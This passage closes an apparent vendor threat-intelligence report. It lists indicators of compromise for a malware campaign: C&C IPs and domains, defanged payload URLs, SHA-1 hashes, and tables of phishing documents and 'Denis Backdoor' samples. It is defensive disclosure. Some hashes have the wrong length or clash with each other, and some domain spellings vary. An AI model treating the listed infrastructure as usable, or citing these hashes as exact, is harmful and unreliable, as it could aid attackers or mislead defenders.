<td>hxxp://blog.versign(.)info/access/?version=4&amp;id=[redacted]&amp;token=[redacted]</td>
<td>9e3971a2df15f5d9eb21d5da5a197e763c035f7a</td>
</tr>
<tr>
<td>hxxp://23.227.196(.)210/6tz8</td>
<td>bb82f02026cf515eab2cc88faa7d18148f424f72</td>
</tr>
<tr>
<td>hxxp://23.227.196(.)210/QVPh</td>
<td>8fc9d1dadff5cef669964e4a9e4ad3132702c5</td>
</tr>
<tr>
<td>hxxp://45.114.117(.)137/3mkQ</td>
<td>91bd627c7b8a34ab334b5e929af6f81fcebfb268</td>
</tr>
<tr>
<td>hxxp://176.223.111(.)116:80/download/sido.jpg</td>
<td>5934262D2258E4F23E2079DB953DBEBED8F07981</td>
</tr>
<tr>
<td>hxxp://110.10.179(.)65:80/ptF2</td>
<td>DA2B3FF680A25FB0DD4F55615168516222DFC10</td>
</tr>
<tr>
<td>hxxp://110.10.179(.)65:80/download/microsoft.jpg</td>
<td>23EF081AF79E92C1FBA8B5E622025B821981C145</td>
</tr>
<tr>
<td>hxxp://110.10.179(.)65:80/download/microsoft.jpg</td>
<td>C845F3AF0A2B7E034CE43658276AF3B3E402EB7B</td>
</tr>
</tbody>
</table>
C&C IPs

45.114.117.137
104.24.119.185
104.24.118.185
23.227.196.210
23.227.196.126
184.95.51.179
176.107.177.216
192.121.176.148
103.41.177.33
184.95.51.181
23.227.199.121
108.170.31.69
104.27.167.79
104.27.166.79
176.107.176.6
184.95.51.190
176.223.111.116
110.10.179.65
27.102.70.211

C&C Domains

food.letsmlies.org
help.chatconnecting.com
*.letsmlies.org
support.chatconnecting.com
inbox.mailboxhus.com
blog.versign.info
news.blogtrands.net
stack.inveglolb.net
tops.gamecousers.com
nsquery.net
tonholding.com
cloudwsus.net
nortonudt.net
teriava.com
tulationeva.com
# Appendix A: Threat actor payloads caught in the wild

<table>
<thead>
<tr>
<th>Domain</th>
<th>Details</th>
<th>VirusTotal</th>
</tr>
</thead>
<tbody>
<tr>
<td>inbox.mailboxhus(.)comsupport.chatconnecting(.)com (45.114.117.137)</td>
<td>File name: Flash.exe SHA-1: 01ffc3ee5c2c560d29aaa8ac3d17f0ea4f6c0c09 Submitted: 2016-12-28 09:51:13</td>
<td><a href="#">Link</a></td>
</tr>
<tr>
<td>inbox.mailboxhus(.)comsupport.chatconnecting(.)com (45.114.117[.]137)</td>
<td>File name: Flash.exe SHA-1: 562aeced9f83657be218919d6f443485de8fae9e Submitted: 2017-01-18 19:00:41</td>
<td><a href="#">Link</a></td>
</tr>
<tr>
<td>support.chatconnecting(.)com (45.114.117[.]137)</td>
<td>URL: hxxp://support(.)chatconnecting.com/2nx7m Submitted: 2017-01-20 10:11:47</td>
<td><a href="#">Link</a></td>
</tr>
<tr>
<td>support.chatconnecting(.)com (45.114.117[.]137)</td>
<td>File name: ID2016.doc SHA-1: bfb3ca77d95d4f34982509380f2f146f63aa41bc Submitted: 2016-11-23 08:18:43 Malicious Word document (Phishing text in Vietnamese)</td>
<td><a href="#">Link</a></td>
</tr>
<tr>
<td>blog(.)versign(.)info (23.227.196[.]210)</td>
<td>File name: tx32.dll SHA-1: 604a1e1a6210c96e50b72f025921385fad943ddf Submitted: 2016-08-15 04:04:46</td>
<td><a href="#">Link</a></td>
</tr>
<tr>
<td>blog(.)versign(.)info (23.227.196[.]210)</td>
<td>File name: Giấy yêu cầu bổ thị thường mới 2016 - Hàng.doc SHA-1: a5bddb5b10d673cbfe9b16a062ac78c9aa75b61c Submitted: 2016-10-06 11:03:54 Malicious Word document with Phishing text in Vietnamese</td>
<td><a href="#">Link</a></td>
</tr>
<tr>
<td>File name</td>
<td>SHA-1</td>
<td>Domain</td>
</tr>
<tr>
<td>-----------</td>
<td>----------------------------------------------------------------------</td>
<td>-------------------------------</td>
</tr>
<tr>
<td>Thong tin.doc</td>
<td>a5fbcbc17a1a0a4538fd987291f8dafd17878e33</td>
<td>blog.versign.info (23.227.196[.]210)</td>
</tr>
<tr>
<td>WinWord.exe</td>
<td>ea67b24720da7b4adb5c7a8a9e8f208806fbc198</td>
<td>Images.verginet().info id.madsmans().com (176.107.176[.]6)</td>
</tr>
<tr>
<td>SndVoISSO.exe</td>
<td>1fe6f52800fa9b752b98d3cbb8fff0c44046526aa</td>
<td>tonholding(.)com nsquery(.)net, tonholding(.)com nsquery(.)net</td>
</tr>
<tr>
<td>CiscoEapFast.exe</td>
<td>77dd35901c0192e040deb9cc7a981733168afa74</td>
<td>teriava(.)com</td>
</tr>
</tbody>
</table>

Appendix B: Denis Backdoor samples in the wild

<table>
<thead>
<tr>
<th>File name</th>
<th>SHA-1</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>msprivs.exe</td>
<td>97fdab2832550b9fea80ec1b9c182f5139e9e947</td>
<td>teriava(.)com</td>
</tr>
<tr>
<td>WerFault.exe</td>
<td>F25d6a32ae1f1161c17830ea0c595b36b614280d</td>
<td>teriava(.)com</td>
</tr>
<tr>
<td>msprivs.exe</td>
<td>1878df8e9d8f3d432d0bc8520595b2adb952fb85</td>
<td>teriava(.)com</td>
</tr>
<tr>
<td>CiscoEapFast.exe 094.exe</td>
<td>1a2cd9b94a70440a962d9ad78e5e46d7d22070d0</td>
<td>teriava(.)com, tulationeva(.)com,</td>
</tr>
<tr>
<td>Process Name</td>
<td>Hash Value</td>
<td>Domain Name</td>
</tr>
<tr>
<td>--------------</td>
<td>------------</td>
<td>-------------</td>
</tr>
<tr>
<td>CiscoEapFast.exe</td>
<td>77dd35901c0192e040deb9cc7a981733168afa74</td>
<td>teriava(.)com, tulationevo(.)com, notificeva(.)com</td>
</tr>
<tr>
<td>SwUSB.exe</td>
<td>88d35332ad30964af4f55f1e44c951b15a109832</td>
<td>gl-appspot(.)org, tonholding(.)com, nsquery(.)net</td>
</tr>
<tr>
<td>Xwizard.exe</td>
<td>d48602c3c73e8e33162e87891fb36a35f621b09b</td>
<td>tonholding(.)com, nsquery(.)net</td>
</tr>
<tr>
<td>SndVolSSO.exe</td>
<td>1fef52800fa9b752b98d3cbb8ff0c44046526aa</td>
<td>tonholding(.)com, nsquery(.)net</td>
</tr>
</tbody>
</table>
Cybereason is the leader in endpoint protection, offering endpoint detection and response, next-generation antivirus, and active monitoring services. Founded by elite intelligence professionals born and bred in offense-first hunting, Cybereason gives enterprises the upper hand over cyber adversaries. The Cybereason platform is powered by a custom-built in-memory graph, the only truly automated hunting engine anywhere. It detects behavioral patterns across every endpoint and surfaces malicious operations in an exceptionally user-friendly interface. Cybereason is privately held and headquartered in Boston with offices in London, Tel Aviv, and Tokyo.